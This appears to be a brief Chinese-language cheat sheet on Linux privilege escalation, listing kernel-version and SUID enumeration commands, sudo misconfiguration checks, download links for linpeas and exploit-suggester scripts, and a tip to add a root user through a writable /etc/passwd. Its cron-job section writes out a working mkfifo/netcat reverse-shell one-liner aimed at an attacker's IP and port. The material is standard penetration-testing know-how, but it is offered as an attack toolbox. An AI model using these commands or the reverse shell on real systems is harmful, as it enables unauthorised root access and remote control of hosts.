linux提权总结

1.内核提权：查看系统内核版本后，根据版本号查找CVE提取常用命令：cat /etc/issuecat /etc/os-releaseuname -a2.SUID提取常用命令和网站：find / -perm -u=s -type f 2>/dev/nullhttps://gtfobins.github.io/3.计划任务提权写入计划任务的反弹shellecho "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip port >/tmp/f"常用工具：https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy644.查找ROOT权限文件并且其他用户有写入的权限：find / -user root -type f -perm -o=rw -ls 2>/dev/null | grep -v "/proc"比如/etc/passwd有权限写入，可以直接写入一个root用户进行提权5.sudo错误配置提权常用命令：sudo -l6.常用自动化工具linpeas提权脚本：https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.shlinux-exploit-suggesterwget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.shlinux-exploit-suggester-2https://github.com/jondonas/linux-exploit-suggester-2/blob/master/linux-exploit-suggester-2.pl